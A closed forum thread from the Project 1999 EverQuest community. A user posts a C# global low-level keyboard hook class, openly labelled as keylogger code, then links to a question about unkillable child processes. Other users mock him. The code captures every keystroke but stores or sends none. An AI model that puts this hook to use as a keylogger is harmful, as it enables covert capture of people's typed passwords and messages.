Project 1999

Go Back   Project 1999 > General Community > Rants and Flames

Closed Thread
 
Thread Tools Display Modes
  #1  
Old 06-13-2013, 03:19 PM
r00t r00t is offline
Sarnak


Join Date: Jun 2013
Posts: 330
Default yea its a keylogger

http://msdn.microsoft.com/en-us/libr...(v=vs.85).aspx

use linux
  #2  
Old 06-13-2013, 03:21 PM
r00t r00t is offline
Sarnak


Join Date: Jun 2013
Posts: 330
Default

[You must be logged in to view images. Log in or Register.]
  #3  
Old 06-13-2013, 03:26 PM
r00t r00t is offline
Sarnak


Join Date: Jun 2013
Posts: 330
Default

Code:
using System;
using System.Collections.Generic;
using System.Text;

namespace KHook
{
    public class KeyboardHook : IDisposable
    {
        #region Events
        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
        public delegate void HookEventHandler(object sender, KeyboardHookEventArgs e);
        public event HookEventHandler KeyDown;
        public event HookEventHandler KeyUp;
        #endregion

        #region Constants
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private const int WM_SYSKEYDOWN = 0x0104;
        private LowLevelKeyboardProc _proc = null;
        private static IntPtr _hookID = IntPtr.Zero;
        #endregion

        #region Imports
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,
            LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        #endregion

        #region Constructor
        public KeyboardHook()
        {
            _proc = new LowLevelKeyboardProc(HookCallback);
            _hookID = SetHook(_proc);
        }

        #endregion


        #region Methods
        private IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                    GetModuleHandle(curModule.ModuleName), 0);
            }
        }

        private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            //if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            if (nCode >= 0 && (wParam == (IntPtr)WM_KEYDOWN || wParam == (IntPtr)WM_SYSKEYDOWN))
            {
                int vkCode = Marshal.ReadInt32(lParam);
                WinForms.Keys key = (WinForms.Keys)vkCode;
                if (this.KeyDown != null)
                    this.KeyDown(this, new KeyboardHookEventArgs(vkCode));
            }
            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }

        #endregion

        #region Destructor
        public void Dispose()
        {
            UnhookWindowsHookEx(_hookID);
        }
        #endregion
    }
}
  #4  
Old 06-13-2013, 04:10 PM
Hasbinbad Hasbinbad is offline
Planar Protector

Hasbinbad's Avatar

Join Date: Oct 2009
Location: Vallejo, CA
Posts: 3,059
Default

i like how you've left the steak tab open.. i really do recommend doing it.
__________________
  #5  
Old 06-13-2013, 04:11 PM
r00t r00t is offline
Sarnak


Join Date: Jun 2013
Posts: 330
Default

maybe for 2 hours
  #6  
Old 06-13-2013, 04:14 PM
Hasbinbad Hasbinbad is offline
Planar Protector

Hasbinbad's Avatar

Join Date: Oct 2009
Location: Vallejo, CA
Posts: 3,059
Default

so i forgot if i clicked on salty's virus link or not, how do I find the keylogger and kill it if i have it?
__________________
  #7  
Old 06-13-2013, 04:16 PM
r00t r00t is offline
Sarnak


Join Date: Jun 2013
Posts: 330
Default

I made this helpful tutorial to remove it

http://www.youtube.com/watch?v=k9u67u82a74
  #8  
Old 06-13-2013, 04:23 PM
r00t r00t is offline
Sarnak


Join Date: Jun 2013
Posts: 330
Default

HOW TO SPAWN CHILDREN THAT CANNOT BE KILLED

http://stackoverflow.com/questions/1...y-process-tree
  #9  
Old 06-13-2013, 04:36 PM
Lubian Lubian is offline
Orc


Join Date: Mar 2011
Posts: 30
Default

Oh amazing you learned how to do a PInvoke and copy and paste code.</sarcasm>

Really, you need to stop posting and embarrassing yourself.

Well at least you win the award for getting the most downvotes I've seen for a SO question in 15 minutes.
  #10  
Old 06-13-2013, 04:38 PM
Ishukone Ishukone is offline
Skeleton

Ishukone's Avatar

Join Date: Jun 2013
Posts: 18
Default

shut the fuck up nerd
Closed Thread


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 10:28 AM.


Everquest is a registered trademark of Daybreak Game Company LLC.
Project 1999 is not associated or affiliated in any way with Daybreak Game Company LLC.
Powered by vBulletin®
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.